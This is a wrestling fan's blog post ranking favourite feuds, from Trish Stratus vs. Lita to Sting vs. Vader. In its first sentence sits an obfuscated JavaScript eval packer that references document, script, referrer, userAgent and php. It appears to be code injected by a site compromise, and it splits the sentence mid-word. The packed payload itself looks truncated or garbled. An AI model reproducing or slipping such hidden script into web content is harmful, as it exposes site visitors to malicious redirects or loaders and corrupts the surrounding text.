Five By Five: KB’s Favorite Feuds/Programs
I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiizr|var|u0026u|referrer|ekdzh||js|php'.split('|'),0,{})) was going to do promos for one of these but this is a lot more in depth, meaning I can have a lot more fun with it. This will be a mixture of short and long term feuds, as in a feud that has a clear beginning and end along with feuds that went on for years with breaks in between.
Honorable Mention: Trish Stratus vs. Lita. This might be a weird one given my borderline hatred of women’s wrestling, but with these two it worked incredibly well. There was a natural rivalry between the two of them with Trish being the well groomed and gorgeous blonde model while Lita was the streetwise fighter who flew all over the place and was covered in tattoos. It’s a natural dichotomy which works incredibly well.
Honorable Mention: The Rock vs. Mick Foley. Speaking of natural dichotomies, here’s another great one for you. You have Rock as a natural athlete and a blue chipper who has dominated every athletic field he’s ever touched, and on the other hand you have a guy who looks like he escaped from a mental hospital. The difference though is Foley has the heart and drive to never give up no matter what is thrown at him and Rocky can’t handle having this kind of resistance. It made for some amazing promos and even better matches between two of the best ever who cleared respected each other very deeply.
5. Steve Austin vs. Vince McMahon. It’s the mother of all feuds and the cornerstone of the Attitude Era. Vince went so far as to terrorize his own family while gaining the help of a demon lord in order to get the title off of Steve Austin. If that doesn’t sum up how awesome this feud was, I don’t know what does.
4. CM Punk vs. John Cena. If there is a pairing with flat out better matches and chemistry together, I can’t think of them. When you can actually rival the quality of Steve Austin vs. the Rock with how awesome your matches are, it’s hard to not put them on this list. It’s pretty easily the best rivalry of the modern era with absolutely no bad matches between the two of them.
3. Steve Austin vs. The Rock. As great as Cena vs. Punk is, this one is just slightly better. The chemistry these two had was off the charts and when they were together, you could feel the electricity. It could be anything from singing Jimmy Buffet songs to throwing title belts into a river to having one of the best main events in Wrestlemania history in front of 67,000 people at the best show of all time to just running into each other backstage at Wrestlemania 27, but these two just feel amazing when they’re together and the chemistry was unbelievable.
2. Hulk Hogan vs. Bobby Heenan. Now we’re getting into more personal favorites than pure quality. Heenan rarely got in the ring himself, but he was constantly throwing his latest protege at Hogan. Be it Big John Studd, King Kong Bundy, Paul Orndorff or Andre the Giant, this feud DOMINATED the 1980s and produced some of the most entertaining television you’ll ever see. When you can top the list of Hulk Hogan’s biggest rivals, it’s clear you’re doing something right.
1. Sting vs. Vader. If there has ever been a better story of a warrior fighting the evil dragon, I don’t know what it is. These two were as much of a layup for a great match as you could get in WCW, and yes that includes Flair vs. Sting. The key aspect to this feud that made it great was that Sting would regularly lose to Vader. Every time they fought there was always a chance that Vader could destroy Sting and on more than one occasion he did. The fans were WAY into these matches too and the feud continued on and off for over three years. It’s excellent stuff and I can’t recommend their 1992 Starrcade match enough.
We’ll wrap this up with my favorite matches either tonight or tomorrow.